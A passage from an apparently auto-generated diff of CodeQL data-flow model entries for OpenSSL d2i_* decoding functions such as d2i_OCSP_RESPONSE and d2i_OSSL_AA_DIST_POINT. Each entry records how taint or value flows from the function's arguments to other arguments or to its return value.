"d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REVOKEDINFO", "(OCSP_REVOKEDINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SERVICELOC", "(OCSP_SERVICELOC **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SIGNATURE", "(OCSP_SIGNATURE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_SINGLERESP", "(OCSP_SINGLERESP **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_AA_DIST_POINT", "(OSSL_AA_DIST_POINT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, 